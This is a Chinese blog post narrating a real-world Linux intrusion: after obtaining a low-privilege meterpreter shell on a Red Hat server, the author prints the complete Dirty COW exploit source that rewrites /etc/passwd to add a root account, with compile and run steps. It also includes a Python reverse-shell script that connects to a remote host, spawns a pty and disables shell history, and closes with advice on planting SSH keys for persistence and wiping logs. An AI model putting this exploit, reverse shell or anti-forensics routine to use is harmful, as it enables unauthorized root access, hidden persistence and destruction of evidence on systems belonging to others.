记一次Linux提权

From:znn


背景

某次通过一个应用的通用型漏洞拿到一个Redhat的meterpreter shell.不过权限很低。因为要拿到服务器权限,首先想到了dirty cow提权。

过程

1、一般思路
一般拿到一个低权限shell,我首先都会翻一遍系统信息、敏感配置文件、内网开放的端口、进程、WEB服务、数据库服务 等信息。因为经常可以看到一些应用或者服务存在漏洞能直接拥有root权限,这要比利用系统漏洞直接提权安全、隐蔽的多。显然这次目标权限限制的比较死,这些路很难走通,那只能想办法直接提linux权限了。
2、Dirty cow
直接提的话就祭出dirty cow咯,不管什么方法,把这个.c上传到服务器上,什么curl、wget之类的,提权文件如下:(PS:也可以参考我之前总结的一篇: 命令行内下载总结)

//
// This exploit uses the pokemon exploit as a base and automatically
// generates a new passwd line. The original /etc/passwd is then
// backed up to /tmp/passwd.bak and overwritten with the new line.
// The user will be prompted for the new password when the binary is run.
// After running the exploit you should be able to login with the newly
// created user.
//
// Original exploit:
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// To use this exploit modify the user values according to your needs
//
// Compile with
//
// gcc -pthread dirty.c -o dirty -lcrypt
//
// and just run the newly create binary with ./dirty
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT !
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
 char *username;
 char *hash;
 int user_id;
 int group_id;
 char *info;
 char *home_dir;
 char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
 return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
 const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
 int size = snprintf(NULL, 0, format, u.username, u.hash,
 u.user_id, u.group_id, u.info, u.home_dir, u.shell);
 char *ret = malloc(size + 1);
 sprintf(ret, format, u.username, u.hash, u.user_id,
 u.group_id, u.info, u.home_dir, u.shell);
 return ret;
}
void *madviseThread(void *arg) {
 int i, c = 0;
 for(i = 0; i < 200000000; i++) {
 c += madvise(map, 100, MADV_DONTNEED);
 }
 printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
 // check if target file already exists
 if(access(to, F_OK) != -1) {
 printf("File %s already exists! Please delete it and run again\n",
 to);
 return -1;
 }
 char ch;
 FILE *source, *target;
 source = fopen(from, "r");
 if(source == NULL) {
 return -1;
 }
 target = fopen(to, "w");
 if(target == NULL) {
 fclose(source);
 return -1;
 }
 while((ch = fgetc(source)) != EOF) {
 fputc(ch, target);
 }
 printf("%s successfully backed up to %s\n",
 from, to);
 fclose(source);
 fclose(target);
 return 0;
}
int main(int argc, char *argv[])
{
 // backup file
 int ret = copy_file(filename, backup_filename);
 if (ret != 0) {
 exit(ret);
 }
 struct Userinfo user;
 // set values, change as needed
 user.username = "firefart";
 user.user_id = 0;
 user.group_id = 0;
 user.info = "pwned";
 user.home_dir = "/root";
 user.shell = "/bin/bash";
 char *plaintext_pw = getpass("Please enter new password: ");
 user.hash = generate_password_hash(plaintext_pw);
 char *complete_passwd_line = generate_passwd_line(user);
 printf("Complete line:\n%s\n", complete_passwd_line);
 f = open(filename, O_RDONLY);
 fstat(f, &st);
 map = mmap(NULL,
 st.st_size + sizeof(long),
 PROT_READ,
 MAP_PRIVATE,
 f,
 0);
 printf("mmap: %lx\n",(unsigned long)map);
 pid = fork();
 if(pid) {
 waitpid(pid, NULL, 0);
 int u, i, o, c = 0;
 int l=strlen(complete_passwd_line);
 for(i = 0; i < 10000/l; i++) {
 for(o = 0; o < l; o++) {
 for(u = 0; u < 10000; u++) {
 c += ptrace(PTRACE_POKETEXT,
 pid,
 map + o,
 *((long*)(complete_passwd_line + o)));
 }
 }
 }
 printf("ptrace %d\n",c);
 }
 else {
 pthread_create(&pth,
 NULL,
 madviseThread,
 NULL);
 ptrace(PTRACE_TRACEME);
 kill(getpid(), SIGSTOP);
 pthread_join(pth,NULL);
 }
 printf("Done! Check %s to see if the new user was created\n", filename);
 printf("You can log in with username %s and password %s.\n\n",
 user.username, plaintext_pw);
 printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",
 filename, backup_filename);
 return 0;
}

当然上传到可写目录如/tmp/1.c
接下来就是编译执行了:

#gcc编译的时候加上参数,另外如果目标没有gcc,可以编译完再上传.
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

执行编译后的dirty,会将/etc/passwd备份到/tmp/passwd.bak,如果提权失败可以用来恢复。
输入新密码后,一顿操作,提权成功。这时候我们在低权限shell里执行su firefart,输入刚刚的密码就是root权限了。
3、Tips
当然如果你直接和之前我提到的步骤一样走的话可能会遇到一个问题,那就是无论meterpreter还是nc之类反弹出来的那一步都只是一个简单的命令执行接口,要想执行su root之类的命令需要在标准的tty下执行。这时候你需要反弹出一个tty出来,如下python脚本可以帮到我们:

#!/usr/bin/python
import sys
import os
import socket
import pty
shell = "/bin/sh"
def usage(programname):
 print "python connect-back door"
 print "Usage: %s host port" % programname
 
def main():
 if len(sys.argv) !=3:
 usage(sys.argv[0])
 sys.exit(1)
 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
 print "[+]Connect OK."
 except:
 print "[-]Can't connect"
 sys.exit(2)
 
 os.dup2(s.fileno(),0)
 os.dup2(s.fileno(),1)
 os.dup2(s.fileno(),2)
 global shell
 os.unsetenv("HISTFILE")
 os.unsetenv("HISTFILESIZE")
 pty.spawn(shell)
 s.close()
 
if __name__ == "__main__":
 main()

这样我们就可以方便的执行命令了。
4、ending
拿到root权限之后要进行收尾工作了。
1、我们可以先在root下写入一个ssh公钥方便我们之后的渗透工作,最好在低权限的其他用户下也写点,以免root被人发现了。
2、接下来要做的就是恢复dirty cow提权之前的状况了。这时候我们添加了公钥,已经可以直接ssh登陆了,直接mv /tmp/passwd.bak /etc/passwd还原之前的账号即可。
3、清理日志呗。无论是最开始拿到低权限过程,还是提权以及之后ssh的过程留下的日志。

做完这一切是不是有种庖丁解牛之后的那种提刀而立,为之四顾,为之踌躇满志,善刀而藏之的感觉~~

点赞

发表评论